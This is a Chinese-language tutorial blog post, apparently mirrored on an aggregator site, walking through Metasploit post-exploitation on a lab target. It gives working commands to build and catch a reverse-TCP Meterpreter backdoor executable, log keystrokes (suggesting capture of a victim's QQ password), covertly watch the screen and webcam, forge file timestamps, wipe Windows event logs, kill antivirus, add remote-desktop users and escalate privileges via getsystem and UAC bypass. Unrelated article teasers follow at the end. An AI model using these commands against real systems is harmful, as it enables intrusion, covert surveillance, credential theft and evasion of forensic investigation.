Metasploit工具使用(下)

news2024/11/15 15:50:38

Metasploit工具使用

  • 1.Metasploit简介
    • 1.1.Metasploit下载
    • 1.2.其它参考
    • 1.3.本章简述
  • 2.Meterpreter
    • 2.1.简介
    • 2.2.优点
    • 2.3.注意事项
    • 2.4.整体攻击流程
      • 2.4.1.创建后门
      • 2.4.2.监听后门
      • 2.4.3.运行后门
      • 2.4.4.成功获得
  • 3.渗透后命令汇总
    • 3.1.迁移进程
      • 3.1.1.查看当前进程
      • 3.1.2.获取当前进程PID
      • 3.1.3.迁移进程
      • 3.1.4.查看当前进程
      • 3.1.5.杀死进程
    • 3.2.上传下载
      • 3.2.1.上传文件
      • 3.2.2.下载文件
    • 3.3.摄像头命令
    • 3.4.开关键盘/鼠标
      • 3.4.1.键盘记录
        • 3.4.1.1.开启记录
        • 3.4.1.2.导出记录
        • 3.4.1.3.关闭记录
    • 3.5.portwd端口转发
      • 3.5.1.端口转发介绍
      • 3.5.2.相关命令
      • 3.5.3.配置语法
        • 3.5.3.1.add语法
        • 3.5.3.2.delete语法
        • 3.5.3.3.list语法
        • 3.5.3.4.flush语法
      • 3.5.4.验证
    • 3.6.截屏/屏幕监控
      • 3.6.1.截屏
        • 3.6.1.1.开启截屏
        • 3.6.1.2.查看效果
      • 3.6.2.屏幕监控
        • 3.6.2.1.开启监控
        • 3.6.2.2.监控效果
    • 3.7.时间戳伪造
      • 3.7.1.查看帮助
      • 3.7.2.查看时间戳
      • 3.7.3.修改时间戳
        • 3.7.3.1.复制时间戳
        • 3.7.3.2.手动修改时间戳
    • 3.8.执行文件
    • 3.9.清除日志
    • 3.10.基础命令
    • 3.11.文件管理命令
  • 4.渗透模块使用
    • 4.1.信息收集
      • 4.1.1.扫描存活主机
      • 4.1.2.远程桌面
        • 4.1.2.1.开启远程桌面
        • 4.1.2.2.添加用户
      • 4.1.3.用户环境变量
    • 4.2.提权
      • 4.2.1.本地提权
      • 4.2.2.getsystem提权
      • 4.2.3.bypassuac提权
        • 4.2.3.1.执行流程

1.Metasploit简介

  The Metasploit Framework 的简称。 MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一。
  是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode ,并持续保持更新。
  metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。

1.1.Metasploit下载

  在kail中自带Metasploit工具,这里可以直接使用。若确实需要下载在其它位置,那么也可以去官网进行下载,同时在官网中还附带相应的官方手册。
官网:官网

1.2.其它参考

  这里可以参考我的Metasploit工具使用(上)。
  参考链接:Metasploit工具使用(上)

1.3.本章简述

  本章主要是在通过之前的测试获取到目标机的获取目标机的Meterpreter Shell后,就进入了Metasploit的后期渗透利用阶段。

2.Meterpreter

2.1.简介

  Meterpreter是 Metasploit 框架中的一个扩展模块,作为后渗透阶段的攻击载荷使用,在后渗透阶段具有强大的攻击力,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个 meterpreter shell链接。

2.2.优点

  总体来说Meterpreter的有点就是易于隐藏,不需要对磁盘进行任何写入操作,因此 HIDS(基于主机的入侵检测系统)很难对它做出响应使用加密通信协议,而且可以同时与几个信道通信在被攻击进程内工作,不需要创建新的进程,易于在多进程之间迁移,平台通用,简化任务创建多个会话,利用会话进行渗透运行的时候系统时间是变化的,跟踪它、终止它非常困难。

2.3.注意事项

  若想免提权测试,那么在木马发送到靶机的时候,一定要右击以管理员权限运行,否则在后面的学习与测试中,可能会存在权限不足的情况,当然如果想练习提权那么就可以双击运行即可。
  后续的学习测试后,会存在很多地方需要权限,所以看自己的想法吧。

2.4.整体攻击流程

  这里演示一下创建后门与获取到shell权限的整体流程,具体的流程请参考我提供的Metasploit工具使用(上),在这个里面有具体的解释,这里我就直接输入命令,并不在进行过多的赘述。

2.4.1.创建后门

  这里通过下面的命令创建一个后缀为exe的后门文件,该文件生成在当前kail的根目录下。

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f exe > shell.exe

在这里插入图片描述

2.4.2.监听后门

  这里进行监听后门,这里设定的payload、lhost、lport都要和生成的后门相匹配才可以。

命令:
msfconsole 
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 192.168.10.20 
set LPORT 4444 
run

在这里插入图片描述

2.4.3.运行后门

  这里我们把生成的exe文件发送到目标主机上进行执行,执行后在攻击机上就能够看到上线了。
在这里插入图片描述

2.4.4.成功获得

  这里可以看到成功获取到了权限,那么就可以进行我们下一步的操作了。
在这里插入图片描述

3.渗透后命令汇总

3.1.迁移进程

  刚获取到的Meterpreter Shell,是较为脆弱的,需要将shell和目标主机中较为稳定的程序捆版在一起。例如使用某个软件的漏洞获取到的shell,可能在一段时间后就会被用户关闭,那么关闭后,自然获取到的shell也就会被中断,所以需要一个比较稳定的进程进行绑定。

3.1.1.查看当前进程

  这里使用ps命令就可以显示目标主机上所有活跃的进程。
在这里插入图片描述

3.1.2.获取当前进程PID

  这里我们获取当前进程PID也就是这个后门的进程id。

命令:getpid

在这里插入图片描述

3.1.3.迁移进程

  这里显示我们当前的PID是1528,那么我们这里我们找一个比较稳定的进程进行捆绑,这里我就选择3960这个进程。

命令:migrate PID

在这里插入图片描述

3.1.4.查看当前进程

  这里迁移后我们可以使用getpid查看一下,迁移后的进程ID。
在这里插入图片描述

3.1.5.杀死进程

  若我们获取完数据后,需要销毁,那么我们可以将进程给杀死。

命令:kill <pid值>  

3.2.上传下载

  若我们获取到shell后,但是觉得这个后门木马比较简单,可能存在被杀毒软件杀掉的情况,那么就可以使用上传下载功能将所需要的木马进行上传或者下载。

3.2.1.上传文件

  这里我们在/root下放入一个1.txt,并且在里面写入hahahahah,我们将这个文件上传至目标机器中。

命令:upload 文件

在这里插入图片描述

  通过目标主机上的1.txt文件判断,我们是成功上传了文件。
在这里插入图片描述

3.2.2.下载文件

  这里我们通过ls看到在目标机器上只有一个1.txt,当然是我们刚刚上传上去的,那么我们把攻击机上的1.txt文件删除,我们把目标机上的1.txt给下载下来。

命令:download 1.txt

在这里插入图片描述

3.3.摄像头命令

  这里由于我是虚拟机我也无法演示。

命令介绍
record_mic音频录制
webcam_list查看摄像头
webcam_snap通过摄像头拍照
webcam_stream通过摄像头开启视频监控

3.4.开关键盘/鼠标

  这里开关键盘鼠标也不好演示,也就不演示了。

命令介绍
uictl [enable/disable]开启或禁止
uictl disable mouse禁用鼠标
uictl disable keyboard禁用键盘

3.4.1.键盘记录

  键盘记录是指能够记录目标机上操作的键盘记录,若你通过屏幕监控到他在输入qq密码,然后你开启键盘记录,那么不就可以获取他的qq密码?

3.4.1.1.开启记录

命令:keyscan_start

在这里插入图片描述

3.4.1.2.导出记录

命令:keyscan_dump 

在这里插入图片描述

3.4.1.3.关闭记录

命令:keyscan_stop

在这里插入图片描述

3.5.portwd端口转发

3.5.1.端口转发介绍

  Meterpreter shell中的portfwd命令最常用作透视技术,允许直接访问攻击系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以实质上通过本机转发TCP连接,从而使其成为一个支点。就像使用ssh连接的端口转发技术一样,portfwd将中继与连接的机器之间的TCP连接

3.5.2.相关命令

命令介绍
portfwd add该参数用于创建转发
portfwd Delete这将从我们的转发端口列表中删除先前的条目
portfwd List这将列出当前转发的所有端口
portfwd Flush这将删除我们的转发列表中的所有端口
portfwd -h帮助命令
portfwd -L要监听的本地的主机(通常为攻击机,可选)
portfwd -l要监听的本地端口
portfwd -p要连接的远程端口(通常为目标机)
portfwd -r要连接的远程主机

3.5.3.配置语法

  这里介绍一下几个参数的配置语法。

3.5.3.1.add语法

命令:portfwd add -l 本地端口 -p 目标端口 -r 目标主机/IP地址

  add会将端口转发添加到列表中,并将为我们创建一个隧道。请注意,此通道也将存在于Metasploit控制台之外,使其可用于任何终端会话。
  -l 本地端口,将被监听并转发到我们的目标。这可以是您的机器上的任何端口,只要它尚未被使用。
  -p 目标端口,是我们的定向主机上的目标端口。
  -r [target host]是我们的目标系统的IP或主机名。
  -L 这里并未标识出来,是由于如果配置的话可以是攻击机地址,当然不配置默认也是我们攻击机地址,只不过配置了是具体的IP,不配置是127.0.0.1。
在这里插入图片描述

3.5.3.2.delete语法

命令:portfwd delete -l 本地端口 -p 目标端口 -r 目标主机/IP地址

  这个我就不在介绍了,可以说和add是一样的语法。

3.5.3.3.list语法

命令:portfwd list

  这个命令就是查看正在监听的或转发的端口列表。
在这里插入图片描述

3.5.3.4.flush语法

命令:portfwd flush

  这个命令就是删除所有的转发列表。
在这里插入图片描述

3.5.4.验证

  这里我们转发了目标主机的远程桌面,这里我们试着连接目标的远程桌面,不过这里需要注意的是,我们连接的不在是目标地址与端口,而是我们设立的监听地址与端口,这里我监听的ip地址是192.168.10.20,监听的端口是18080。
  这里跳转界面没跳转出来,也就是远程桌面没有跳出来,可以自行尝试ssh、telnet这些可以直接使用的。

命令:rdesktop 192.168.10.20:18080

在这里插入图片描述

3.6.截屏/屏幕监控

3.6.1.截屏

3.6.1.1.开启截屏

  这里可以通过命令进行屏幕的截图。

命令:screenshot

在这里插入图片描述

3.6.1.2.查看效果

  这里的图片在当前目录中就能找到。
在这里插入图片描述

3.6.2.屏幕监控

3.6.2.1.开启监控

  这里我屏幕监控也就是像直播一样,只是有点卡,但是对方毫不知情。

命令:run vnc

在这里插入图片描述

3.6.2.2.监控效果

  这里可能会比较慢,过一会就能弹出一个屏幕,不过只能看,并不能操作。
在这里插入图片描述

3.7.时间戳伪造

  通过时间戳的伪造可以迷惑目标在排查后门木马的时候的判断。

3.7.1.查看帮助

命令:timestomp C:\\ -h

在这里插入图片描述

3.7.2.查看时间戳

  这里路径需要注意,刚开始我使用的是c:\gx\1.txt,发现无法查看,后来添加两个斜杠就可以了。

命令:timestomp -v C:\\gx\\1.txt

在这里插入图片描述

3.7.3.修改时间戳

  这里修改时间戳有两个办法一个是将其它文件的时间戳,复制给目标文件,还有就是手动设置时间进行修改。

3.7.3.1.复制时间戳

  这里就是将shell.exe的时间复制给1.txt

命令:timestomp c:\\gx\\1.txt -f c:\\gx\\shell.exe

在这里插入图片描述

3.7.3.2.手动修改时间戳

  -z是设定时间,-v是把四个属性设置为统一时间,这里需要注意,设置时间是"月/日/年 时/分/秒"

命令:timestomp  c:\\gx\\1.txt -z "01/30/2023 13:10:55" -v

在这里插入图片描述

3.8.执行文件

  这里执行文件是在meterpreter 模式下执行,相当于不进入shell中进行执行,这样避免来回切换。

命令介绍
execute 文件在目标机中执行文件
execute -H -i -f cmd.exe创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a “-o hack.txt”-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行 "-o hack.txt"是payload.exe的运行参数

3.9.清除日志

命令介绍
clearev清除windows中的应用程序日志、系统日志、安全日志

3.10.基础命令

  这里基础命令是基于在meterpreter下执行的命令,不要搞错了,这里我就不演示了,都是一些进入或者使用的命令。

命令介绍
shell进入目标机cmd shell
background将当前会话放置后台
sessions -h查看帮助
sessions -i <ID值>进入会话
sessions -k <ID值>杀死会话
bgrun / run执行已有的模块,输入run后按两下tab,列出已有的脚本
info查看已有模块信息
getuid查看当前用户身份
getprivs查看当前用户具备的权限
getpid获取当前进程ID(PID)
sysinfo查看目标机系统信息
irb开启ruby终端
ps查看正在运行的进程
kill <PID值>杀死指定PID进程
idletime查看目标机闲置时间
reboot / shutdown重启/关机

3.11.文件管理命令

  这里的文件管理是涉及本地的以及目标机器的,在meterpreter下,命令有不同的地方,所以还需大概了解一下,当然这里就是一些常用的。

命令介绍(目标机)
ls列出当前目录中的文件列表
cd进入指定目录
getwd / pwd查看当前工作目录
search -d c:\ -f *.txt搜索文件 -d 目录 -f 文件名
cat c:\123.txt查看文件内容
edit c:\test.txt编辑或创建文件 没有的话,会新建文件
rm C:\hack.txt删除文件
mkdir admin只能在当前目录下创建文件夹
rmdir admin只能删除当前目录下文件夹
命令介绍(本地机)
getlwd / lpwd查看本地当前目录
lcd /tmp切换本地目录

4.渗透模块使用

  由于一边学一边总结,可能会少些内容,可能没学到或者涉及到,所以缺失的内容后续将慢慢补其。

4.1.信息收集

  这里的信息收集,可以通过在获取shell权限后,进一步的获取自己想要的信息,根据这些信息使用不同的渗透手法。

命令介绍
run post/multi/gather/env获取用户环境变量
run post/linux/gather/checkvm是否虚拟机
run post/windows/gather/checkvm是否虚拟机
run post/windows/gather/forensics/enum_drives查看磁盘分区信息
run post/windows/gather/enum_applications获取安装软件信息
run post/windows/gather/dumplinks获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie获取IE缓存
run post/windows/gather/enum_firefox获取firefox缓存
run post/windows/gather/enum_chrome获取Chrome缓存
run post/multi/recon/local_exploit_suggester获取本地提权漏洞
run post/windows/gather/enum_patches获取补丁信息
run post/windows/gather/enum_domain查找域控
run post/windows/gather/enum_snmp获取snmp团体名称
run post/windows/gather/credentials/vnc获取vnc密码
run post/windows/wlan/wlan_profile用于读取目标主机WiFi密码
run post/windows/manage/killav闭杀毒软件
run post/windows/manage/enable_rdp开启远程桌面(需要权限)
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24扫描整个段存活主机
run post/windows/gather/enum_computers枚举域内的主机

4.1.1.扫描存活主机

命令:run post/windows/gather/arp_scanner RHOSTS=192.168.10.0/24

在这里插入图片描述

4.1.2.远程桌面

4.1.2.1.开启远程桌面

  效果就不再展示了,由于展示了也是截图,无法直观看到具体的变化,可以自行进行测试。

命令:run post/windows/manage/enable_rdp

在这里插入图片描述

4.1.2.2.添加用户

  这里的添加用户是在开启远程桌面的时候,不知道靶机的密码的时候,可以添加一个用户用于访问。

命令:run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123@a.com

在这里插入图片描述

4.1.3.用户环境变量

命令:run post/multi/gather/env

在这里插入图片描述

4.2.提权

  一般在把木马放入靶机的时候,通常启动都并非是管理员启动,需要对其进行提权,对于提权这一块不太熟悉这里,先放一些网上的方式。

4.2.1.本地提权

  搜集补丁信息,寻找可利用exploits提权。

命令:
run post/windows/gather/enum_patches  #查看补丁信息
background
search MS10-015                    #利用未打补丁的模块即可
use exploit/windows/local/ms10_015_kitrap0d
set session 8                        #选择目标
run                                 #执行攻击

4.2.2.getsystem提权

  getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
  getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
Windows服务已启动,导致与命名管道建立连接。
  该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

命令:getsystem

在这里插入图片描述

4.2.3.bypassuac提权

  内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限。

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs

4.2.3.1.执行流程

  在getsystem提权失败,再利用bypassuac来提权。

命令:
use exploit/windows/local/bypassuac
set session 1             #选择当前会话id
run 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/187486.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

你可能不知道的JS使用技巧

数组扁平化 老方案 let arr [1, 2, 4, 6,[5, 4, 5,[98, 3], [34], [7]]]; arr.toString().split(,).map(Number);新方案&#xff1a; flat() const arr [1, [2, [3, [4, 5]]], 6]; console.log(arr.flat(Infinity));深拷贝 老方案&#xff1a; JSON.parse(JSON.stringify(…

数据分析:Matplotlib数据可视化详细教程

1.主要分为4种&#xff1a;柱状图&#xff0c;直方图&#xff0c;散点图&#xff0c;饼状图 可视化的工具选择&#xff1a;可视化的Python软件包 工具的优点&#xff1a;可以自制图形定义功能 绘图程序步骤&#xff1a; 第一步导包中Pyplot模块&#xff0c;以as为别名引入包…

蓝桥杯重点(C/C++)(随时更新,更新时间:2023.1.31)

点关注不迷路&#xff0c;欢迎推荐给更多人&#xff0c;大约两天更新一次&#xff0c;建议点赞收藏加关注 本次更新内容&#xff1a;2.18 递归 目录 1 技巧 1.1 取消同步&#xff08;节约时间&#xff0c;甚至能多骗点分&#xff0c;最好每个程序都写上&#xff09; 1.…

代谢组学文献解读:高胆固醇饮食与脂肪肝相关肝癌的关系

代谢组学文献分享&#xff0c;非酒精性脂肪性肝病&#xff08;Non-alcoholic fatty liver disease , NAFLD)是全世界日趋普遍的慢性肝病。随着肥胖和代谢综合征在全球的流行&#xff0c;近20年亚洲国家NAFLD增长迅速&#xff0c;在上海、北京、广州和香港等地区成人NAFLD患病率…

【论文简述】Multiview Stereo with Cascaded Epipolar RAFT(arxiv 2022)

一、论文简述 1. 第一作者&#xff1a;Zeyu Ma 2. 发表年份&#xff1a;2022 3. 发表期刊&#xff1a;arxiv 4. 关键词&#xff1a;MVS、RAFT、级联、极线 5. 探索动机&#xff1a;3D卷积在计算和内存方面成本很高&#xff0c;在有限资源条件下限制重建质量。 However, a …

CISP-PTE 学习记录

CISP-PTE 学习记录 题目链接1 http://49.232.193.10:2083/start/index.php?pagehello.html write up: http://49.232.193.10:2083/start/index.php?pagephp://filter/readconvert.base64-encode/resource…/key.php 知识点: php伪协议&#xff0c;php伪协议是可以读取到ww…

【运维】Linux/Ec2挂载卷与NFS搭建实站讲解

英文Network File System(NFS)&#xff0c;是由SUN公司研制的UNIX表示层协议(presentation layer protocol)&#xff0c;能使使用者访问网络上别处的文件就像在使用自己的计算机一样。NFS在实际场景中有着不少的应用场景&#xff0c;比如分布式代码部署下&#xff0c;代码一致性…

关于 微软商店无法加载页面 显示错误代码0x80131500的解决办法

目录一、误删系统文件导致Microsoft Store无法打开1.运行 SFC 和 DISM2.尝试修复或者重置微软应用商店3.重新部署 Microsoft Store4.运行Windows疑难解答5.对系统镜像进行无损修复二、其他原因导致Microsoft Store无法打开1.调整网络连接2.更改DNS3.清理应用商店的缓存4.调整 I…

java-raft框架之atomix进行分布式管理

共识算法 在一个分布式的系统中&#xff0c;管理各个节点的一致性&#xff08;共识&#xff09;一直是个很有难度的问题。 在近几十年的发展中&#xff0c;于1990年诞生的Paxos算法是其中最为经典的代表&#xff0c;并一统江湖数几十载。 如著名的zookeeper、chubby都是基于…

操作系统(day03)-- 进程

文章目录进程进程的定义进程的组成进程的组织进程的特征进程的状态-五种基本状态进程状态的转换进程控制进程控制的定义进程控制相关的原语进程 系统并发运行多个程序&#xff0c;它需要将程序代码、数据段存放到内存的某个位置&#xff0c;那系统怎么知道哪个内存的数据在哪呢…

注册公司选择认缴or实缴?如何查验公司实际资金?

目录 前言 实缴制 认缴制 认缴制还是实缴制呢&#xff0c;哪个更好&#xff1f; 1、如果你的启动资金比较少&#xff0c;建议选认缴制&#xff1a; 2、有27类的公司暂不推行注册资金认缴制&#xff1a; 3、如何查看公司实际的公司实缴金额? 4、认缴不需要验资&#xf…

【原文核心对照代码】【一文足以系列】A-LOAM里程计部分简短精解

前言 本文将通过论文对照代码的方式阐述A-LOAM这一神奇算法。全文保持各个章节短小精悍的风格。本文会省去一些细节&#xff0c;但是了解大部分的论文和代码实现已经足够了。 点曲率计算与边缘点面点区分 论文中通过对点云点的曲率进行如下求曲率的计算。将计算的结果跟阈值…

org.slf4j.Logger无法输出日志的BUG

场景依赖<dependency><groupId>org.apache.zookeeper</groupId><artifactId>zookeeper</artifactId><version>3.4.13</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>s…

第一章 Iceberg入门介绍

1、Iceberg简介 本质&#xff1a;一种数据组织格式 1.1、应用场景 ①面向大表&#xff1a;单表包含数十个PB的数据 ②分布式引擎非必要&#xff1a;不需要分布式SQL引擎来读取或查找文件 ③高级过滤&#xff1a;使用表元数据&#xff0c;使用分区和列级统计信息修建数据文…

技术管理者如何获得下属的认同?

你好&#xff0c;我是童军&#xff0c;目前是华锐技术资管营销研发团队总监。今天我将从自己的工作场景出发&#xff0c;讲讲我是如何和团队小伙伴相处沟通&#xff0c;并获得认同的。 我们先看一个小故事。 我刚当上主管那会儿&#xff0c;在和新入职同事沟通具体工作时&…

【数组相关面试题】LeetCode试题

前言&#xff1a;在之前我们已经学习过了顺序表的相关概念以及实现的方法&#xff0c;今天我们通过几个题来进行应用了解。 目录1.第一题([oj链接](https://leetcode.cn/problems/remove-element/))2.第二题&#xff08;[oj链接](https://leetcode.cn/problems/remove-duplicat…

Ubuntu和Linux开发板网络环境搭建

参考&#xff1a;https://www.bilibili.com/video/BV1n541197rk?spm_id_from333.999.0.0 目录前言STM32MP157 开发板网络环境搭建开发工具网络拓扑结构Ubuntu 常用工具安装同一网段ping 测试概念关闭Ubuntu 和Windows 防火墙电脑和开发板直连同个路由器准备工作VMware 设置查看…

Java:每个开发人员职业生涯的基本Java技能

早在1996年&#xff0c;Java就首次被引入世界&#xff0c;如今仍然非常受欢迎。2021&#xff0c;全球超过35%的程序员使用这种语言。此外&#xff0c;它是TIOBE索引中最受欢迎的三种编程语言之一。作为Java初学者&#xff0c;这对你意味着什么?这意味着你必须获得竞争优势&…

浏览器的URL中每个中字符的“乱码”问题,字符集的解码和编码

uft-8和Unicode字符表对应&#xff0c;查找可参考&#xff1a;https://www.utf8-chartable.de/unicode-utf8-table.pl 几个好用的字符集转换网址&#xff1a;http://web.chacuo.net/charseturlencode&#xff0c;https://123.w3cschool.cn/webtools&#xff0c;http://mytju.co…

JVM详解--内存结构

文章目录什么是JVM内存结构程序计数器&#xff08;Program Counter Register&#xff09;虚拟机栈&#xff08;Java Virtual Machine Stacks&#xff09;概述栈内存溢出本地方法栈堆&#xff08;Heap&#xff09;堆内存溢出堆内存诊断方法区方法区内存溢出常量池运行时常量池St…